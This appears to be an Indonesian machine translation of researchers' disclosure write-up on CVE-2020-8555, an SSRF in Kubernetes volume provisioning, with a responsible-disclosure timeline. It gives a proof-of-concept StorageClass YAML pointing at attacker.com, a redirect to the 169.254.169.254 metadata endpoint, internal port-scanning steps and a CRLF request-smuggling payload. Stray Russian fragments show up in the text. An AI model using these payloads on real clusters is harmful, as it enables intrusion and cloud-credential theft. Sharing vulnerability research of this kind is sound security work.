Ketika ini bukan hanya tentang kerentanan Kubernetes...

Catatan. terjemahan: penulis artikel ini berbicara secara rinci tentang bagaimana mereka berhasil menemukan kerentanan CVE-2020-8555 di Kubernetes. Meskipun pada awalnya tampaknya tidak terlalu berbahaya, jika dikombinasikan dengan faktor lain, tingkat kekritisannya ternyata maksimal untuk beberapa penyedia cloud. Beberapa organisasi dengan murah hati memberikan penghargaan kepada para spesialis atas pekerjaan mereka.

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Siapa kita

Kami adalah dua peneliti keamanan Perancis yang bersama-sama menemukan kerentanan di Kubernetes. Nama kami adalah Brice Augras dan Christophe Hauquiert, namun di banyak platform Bug Bounty kami masing-masing dikenal sebagai Reeverzax dan Hach:

Apa yang terjadi?

Artikel ini adalah cara kami berbagi bagaimana proyek penelitian biasa tiba-tiba berubah menjadi petualangan paling mengasyikkan dalam kehidupan para pemburu serangga (setidaknya untuk saat ini).

Seperti yang mungkin Anda ketahui, pemburu bug memiliki beberapa fitur penting:

  • mereka hidup dengan pizza dan bir;
  • mereka bekerja ketika semua orang sedang tidur.

Kami tidak terkecuali dalam aturan ini: kami biasanya bertemu di akhir pekan dan menghabiskan malam tanpa tidur untuk meretas. Namun salah satu malam ini berakhir dengan cara yang sangat tidak biasa.

Awalnya kami akan bertemu untuk membahas partisipasi dalam CTF Keesokan harinya. Selama percakapan tentang keamanan Kubernetes di lingkungan layanan terkelola, kami teringat ide lama SSRF (Pemalsuan Permintaan Sisi Server) dan memutuskan untuk mencoba menggunakannya sebagai skrip serangan.

Pada jam 11 malam kami duduk untuk melakukan penelitian dan tidur pagi-pagi sekali, sangat puas dengan hasilnya. Karena penelitian inilah kami menemukan program MSRC Bug Bounty dan menghasilkan eksploitasi peningkatan hak istimewa.

Beberapa minggu/bulan telah berlalu, dan hasil tak terduga kami menghasilkan salah satu hadiah tertinggi dalam sejarah Azure Cloud Bug Bounty - selain yang kami terima dari Kubernetes!

Berdasarkan proyek penelitian kami, Komite Keamanan Produk Kubernetes menerbitkan CVE-2020-8555.

Sekarang saya ingin menyebarkan informasi tentang kerentanan yang ditemukan sebanyak mungkin. Kami harap Anda menghargai penemuan ini dan membagikan detail teknisnya dengan anggota komunitas infosec lainnya!

Jadi, inilah cerita kami...

Konteks

Untuk memahami apa yang terjadi, pertama-tama mari kita lihat cara kerja Kubernetes di lingkungan yang dikelola cloud.

Saat Anda membuat instance cluster Kubernetes di lingkungan seperti itu, lapisan manajemen biasanya menjadi tanggung jawab penyedia cloud:

Ketika ini bukan hanya tentang kerentanan Kubernetes...
Lapisan kontrol terletak di perimeter penyedia cloud, sedangkan node Kubernetes terletak di perimeter pelanggan

Untuk mengalokasikan volume secara dinamis, digunakan mekanisme untuk menyediakannya secara dinamis dari backend penyimpanan eksternal dan membandingkannya dengan PVC (klaim volume persisten, yaitu permintaan volume).

Jadi, setelah PVC dibuat dan diikat ke StorageClass di cluster K8s, tindakan lebih lanjut untuk menyediakan volume diambil alih oleh manajer pengontrol kube/cloud (nama sebenarnya tergantung pada rilisnya). (Catatan. terjemahan: Kami telah menulis lebih banyak tentang CCM menggunakan contoh implementasinya untuk salah satu penyedia cloud di sini.)

Ada beberapa jenis penyedia yang didukung oleh Kubernetes: sebagian besar disertakan di dalamnya inti orkestrator, sementara yang lain dikelola oleh penyedia tambahan yang ditempatkan di pod di cluster.

Dalam penelitian kami, kami fokus pada mekanisme penyediaan volume internal, yang diilustrasikan di bawah ini:

Ketika ini bukan hanya tentang kerentanan Kubernetes...
Penyediaan volume secara dinamis menggunakan penyedia Kubernetes bawaan

Singkatnya, ketika Kubernetes diterapkan di lingkungan terkelola, manajer pengontrol adalah tanggung jawab penyedia cloud, tetapi permintaan pembuatan volume (nomor 3 pada diagram di atas) meninggalkan jaringan internal penyedia cloud. Dan di sinilah segalanya menjadi sangat menarik!

Skenario peretasan

Di bagian ini, kami akan menjelaskan bagaimana kami memanfaatkan alur kerja yang disebutkan di atas dan mengakses sumber daya internal penyedia layanan cloud. Ini juga akan menunjukkan kepada Anda bagaimana Anda dapat melakukan tindakan tertentu, seperti mendapatkan kredensial internal atau meningkatkan hak istimewa.

Satu manipulasi sederhana (dalam hal ini, Pemalsuan Permintaan Sisi Layanan) membantu melampaui lingkungan klien ke dalam kelompok berbagai penyedia layanan di bawah K8 yang dikelola.

Dalam penelitian kami, kami fokus pada penyedia GlusterFS. Meskipun urutan tindakan lebih lanjut dijelaskan dalam konteks ini, Quobyte, StorageOS, dan ScaleIO rentan terhadap kerentanan yang sama.

Ketika ini bukan hanya tentang kerentanan Kubernetes...
Penyalahgunaan mekanisme penyediaan volume dinamis

Selama analisis kelas penyimpanan GlusterFS dalam kode sumber klien Golang kita diperhatikanbahwa pada permintaan HTTP pertama (3) yang dikirim selama pembuatan volume, ke akhir URL khusus di parameter resturl ditambahkan /volumes.

Kami memutuskan untuk menghilangkan jalur tambahan ini dengan menambahkan # dalam parameter resturl. Berikut adalah konfigurasi YAML pertama yang kami gunakan untuk menguji kerentanan SSRF semi-blind (Anda dapat membaca lebih lanjut tentang SSRF semi-buta atau setengah buta, misalnya, di sini - kira-kira. terjemahkan):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Kemudian kami menggunakan biner untuk mengelola cluster Kubernetes dari jarak jauh kubectl. Biasanya, penyedia cloud (Azure, Google, AWS, dll.) mengizinkan Anda memperoleh kredensial untuk digunakan dalam utilitas ini.

Berkat ini, saya dapat menggunakan file “khusus” saya. Kube-controller-manager mengeksekusi permintaan HTTP yang dihasilkan:

kubectl create -f sc-poc.yaml

Ketika ini bukan hanya tentang kerentanan Kubernetes...
Jawaban dari sudut pandang penyerang

Tak lama setelah ini, kami juga dapat menerima respons HTTP dari server target - melalui perintah describe pvc или get events di kubectl. Dan memang: driver Kubernetes default ini terlalu bertele-tele dalam peringatan/pesan kesalahannya...

Berikut ini contoh dengan tautan ke https://www.google.frditetapkan sebagai parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Dalam pendekatan ini, kami dibatasi pada pertanyaan seperti POSTING HTTP dan tidak bisa mendapatkan isi isi respons jika kode pengembaliannya 201. Oleh karena itu, kami memutuskan untuk melakukan penelitian tambahan dan memperluas skenario peretasan ini dengan pendekatan baru.

Evolusi penelitian kami

  • Skenario Lanjutan #1: Menggunakan pengalihan 302 dari server eksternal untuk mengubah metode HTTP guna menyediakan cara yang lebih fleksibel dalam mengumpulkan data internal.
  • Skenario Lanjutan #2: Mengotomatiskan pemindaian LAN dan penemuan sumber daya internal.
  • Skenario tingkat lanjut #3: menggunakan HTTP CRLF + penyelundupan (“permintaan penyelundupan”) untuk membuat permintaan HTTP yang disesuaikan dan mengambil data yang diekstrak dari log kube-controller.

Spesifikasi teknis

  • Penelitian ini menggunakan Azure Kubernetes Service (AKS) dengan Kubernetes versi 1.12 di wilayah Eropa Utara.
  • Skenario yang dijelaskan di atas dijalankan pada rilis terbaru Kubernetes, dengan pengecualian skenario ketiga, karena dia membutuhkan Kubernetes yang dibangun dengan versi Golang ≤ 1.12.
  • Server eksternal penyerang - https://attacker.com.

Skenario Lanjutan #1: Mengarahkan permintaan HTTP POST ke GET dan menerima data sensitif

Metode asli diperbaiki dengan konfigurasi server penyerang untuk kembali 302 Kode Ulang HTTPuntuk mengonversi permintaan POST menjadi permintaan GET (langkah 4 dalam diagram):

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Permintaan pertama (3) datang dari klien GlusterFS (Manajer Pengontrol), memiliki tipe POST. Dengan mengikuti langkah-langkah ini kami dapat mengubahnya menjadi GET:

  • Sebagai parameter resturl di StorageClass itu ditunjukkan http://attacker.com/redirect.php.
  • Titik akhir https://attacker.com/redirect.php merespons dengan kode status HTTP 302 dengan Header Lokasi berikut: http://169.254.169.254. Ini bisa berupa sumber daya internal lainnya - dalam hal ini, tautan pengalihan hanya digunakan sebagai contoh.
  • По умолчанию perpustakaan bersih/http Golang mengalihkan permintaan dan mengubah POST menjadi GET dengan kode status 302, menghasilkan permintaan HTTP GET ke sumber daya target.

Untuk membaca isi respons HTTP yang perlu Anda lakukan describe Objek PVC:

kubectl describe pvc xxx

Berikut ini contoh respons HTTP dalam format JSON yang dapat kami terima:

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Kemampuan kerentanan yang ditemukan pada saat itu terbatas karena hal-hal berikut:

  • Ketidakmampuan untuk memasukkan header HTTP ke dalam permintaan keluar.
  • Ketidakmampuan untuk melakukan permintaan POST dengan parameter di badan (ini memudahkan untuk meminta nilai kunci dari instance etcd yang berjalan 2379 port jika HTTP tidak terenkripsi digunakan).
  • Ketidakmampuan untuk mengambil konten isi respons ketika kode status 200 dan respons tidak memiliki Tipe Konten JSON.

Skenario lanjutan #2: Memindai jaringan lokal

Metode SSRF setengah buta ini kemudian digunakan untuk memindai jaringan internal penyedia cloud dan melakukan polling terhadap berbagai layanan pendengaran (Metadata instance, Kubelet, dll.) berdasarkan tanggapannya. pengontrol kube.

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Pertama, port pendengaran standar komponen Kubernetes ditentukan (8443, 10250, 10251, dll.), lalu kami harus mengotomatiskan proses pemindaian.

Melihat bahwa metode pemindaian sumber daya ini sangat spesifik dan tidak kompatibel dengan pemindai klasik dan alat SSRF, kami memutuskan untuk membuat pekerja kami sendiri dalam skrip bash yang mengotomatiskan seluruh proses.

Misalnya, untuk memindai dengan cepat rentang 172.16.0.0/12 jaringan internal, 15 pekerja diluncurkan secara paralel. Rentang IP di atas dipilih sebagai contoh saja dan dapat berubah sesuai rentang IP penyedia layanan Anda.

Untuk memindai satu alamat IP dan satu port, Anda perlu melakukan hal berikut:

  • hapus StorageClass yang terakhir dicentang;
  • menghapus Klaim Volume Persisten yang telah diverifikasi sebelumnya;
  • ubah nilai IP dan Port di sc.yaml;
  • buat StorageClass dengan IP dan port baru;
  • buat PVC baru;
  • ekstrak hasil scan menggunakan deskripsikan untuk PVC.

Skenario lanjutan #3: Injeksi CRLF + penyelundupan HTTP di cluster Kubernetes versi “lama”.

Jika selain itu penyedia menawarkan kluster K8s versi lama kepada klien и memberi mereka akses ke log kube-controller-manager, efeknya menjadi lebih signifikan.

Memang jauh lebih nyaman bagi penyerang untuk mengubah permintaan HTTP yang dirancang untuk mendapatkan respons HTTP penuh sesuai kebijaksanaannya.

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Untuk mengimplementasikan skenario terakhir, kondisi berikut harus dipenuhi:

  • Pengguna harus memiliki akses ke log kube-controller-manager (seperti, misalnya, di Azure LogInsights).
  • Cluster Kubernetes harus menggunakan versi Golang yang lebih rendah dari 1.12.

Kami menerapkan lingkungan lokal yang menyimulasikan komunikasi antara klien GlusterFS Go dan server target palsu (kami tidak akan menerbitkan PoC untuk saat ini).

Ditemukan kerentanan, memengaruhi versi Golang yang lebih rendah dari 1.12 dan memungkinkan peretas melakukan serangan penyelundupan HTTP/CRLF.

Dengan menggabungkan SSRF setengah buta yang dijelaskan di atas вместе dengan ini, kami dapat mengirimkan permintaan sesuai keinginan kami, termasuk mengganti header, metode HTTP, parameter dan data, yang kemudian diproses oleh kube-controller-manager.

Berikut adalah contoh “umpan” yang berfungsi dalam suatu parameter resturl StorageClass, yang mengimplementasikan skenario serangan serupa:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Hasilnya adalah kesalahan tanggapan yang tidak diminta, pesan yang dicatat di log pengontrol. Berkat verbositas yang diaktifkan secara default, konten pesan respons HTTP juga disimpan di sana.

Ketika ini bukan hanya tentang kerentanan Kubernetes...

Ini adalah “umpan” kami yang paling efektif dalam kerangka pembuktian konsep.

Dengan menggunakan pendekatan ini, kami dapat melakukan beberapa serangan berikut terhadap klaster berbagai penyedia k8 yang dikelola: eskalasi hak istimewa dengan kredensial pada instans metadata, Master DoS melalui permintaan HTTP (tidak terenkripsi) pada instans master dll, dll.

Buntut

Dalam pernyataan resmi Kubernetes mengenai kerentanan SSRF yang kami temukan, kerentanan tersebut telah diberi peringkat CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jika kita hanya mempertimbangkan kerentanan yang terkait dengan perimeter Kubernetes, maka vektor integritas (vektor integritas) itu memenuhi syarat sebagai None.

Namun, menilai konsekuensi yang mungkin terjadi dalam konteks lingkungan layanan terkelola (dan ini adalah bagian paling menarik dari penelitian kami!) mendorong kami untuk mengklasifikasi ulang kerentanan ke dalam peringkat. CVSS kritis10/10 bagi banyak distributor.

Di bawah ini adalah informasi tambahan untuk membantu Anda memahami pertimbangan kami saat menilai potensi dampak di lingkungan cloud:

Integritas

  • Jalankan perintah dari jarak jauh menggunakan kredensial internal yang diperoleh.
  • Mereproduksi skenario di atas menggunakan metode IDOR (Referensi Objek Langsung Tidak Aman) dengan sumber daya lain yang ditemukan di jaringan lokal.

Конфиденциальность

  • Tipe serangan Gerakan Lateral karena pencurian kredensial cloud (misalnya, API metadata).
  • Mengumpulkan informasi dengan memindai jaringan lokal (menentukan versi SSH, versi server HTTP, ...).
  • Kumpulkan informasi instans dan infrastruktur dengan melakukan polling pada API internal seperti API metadata (http://169.254.169.254,…).
  • Mencuri data pelanggan menggunakan kredensial cloud.

Ketersediaan

Semua skenario eksploitasi yang terkait dengan vektor serangan aktif integritas, dapat digunakan untuk tindakan destruktif dan menyebabkan instance master dari perimeter klien (atau lainnya) tidak tersedia.

Karena kami berada di lingkungan K8 yang dikelola dan menilai dampaknya terhadap integritas, kami dapat membayangkan banyak skenario yang dapat memengaruhi ketersediaan. Contoh tambahannya termasuk merusak database etcd atau melakukan panggilan penting ke API Kubernetes.

Garis waktu

  • 6 Desember 2019: Kerentanan dilaporkan ke MSRC Bug Bounty.
  • 3 Januari 2020: Pihak ketiga memberi tahu pengembang Kubernetes bahwa kami sedang mengatasi masalah keamanan. Dan meminta mereka untuk mempertimbangkan SSRF sebagai kerentanan internal (in-core). Kami kemudian memberikan laporan umum dengan rincian teknis tentang sumber masalahnya.
  • 15 Januari 2020: Kami memberikan laporan teknis dan umum kepada pengembang Kubernetes berdasarkan permintaan mereka (melalui platform HackerOne).
  • 15 Januari 2020: Pengembang Kubernetes memberi tahu kami bahwa injeksi SSRF + CRLF setengah buta untuk rilis sebelumnya dianggap sebagai kerentanan dalam inti. Kami segera berhenti menganalisis batasan penyedia layanan lainnya: tim K8 kini sedang menangani akar permasalahannya.
  • 15 Januari 2020: Hadiah MSRC diterima melalui HackerOne.
  • 16 Januari 2020: Kubernetes PSC (Komite Keamanan Produk) menyadari kerentanan tersebut dan meminta untuk merahasiakannya hingga pertengahan Maret karena banyaknya calon korban.
  • 11 Februari 2020: Hadiah Google VRP diterima.
  • 4 Maret 2020: Hadiah Kubernetes diterima melalui HackerOne.
  • 15 Maret 2020: Keterbukaan publik yang semula dijadwalkan ditunda karena situasi COVID-19.
  • 1 Juni 2020: Pernyataan bersama Kubernetes + Microsoft tentang kerentanan.

TL; DR

  • Kami minum bir dan makan pizza :)
  • Kami menemukan kerentanan inti di Kubernetes, meskipun kami tidak berniat melakukannya.
  • Kami melakukan analisis tambahan pada kelompok penyedia cloud yang berbeda dan mampu meningkatkan kerusakan yang disebabkan oleh kerentanan untuk menerima bonus tambahan yang luar biasa.
  • Anda akan menemukan banyak detail teknis di artikel ini. Kami akan dengan senang hati mendiskusikannya dengan Anda (Twitter: @ReeverZax & @__hach_).
  • Ternyata segala macam formalitas dan pelaporan memakan waktu lebih lama dari yang diperkirakan.

referensi

PS dari penerjemah

Baca juga di blog kami:

Sumber: www.habr.com

Tambah komentar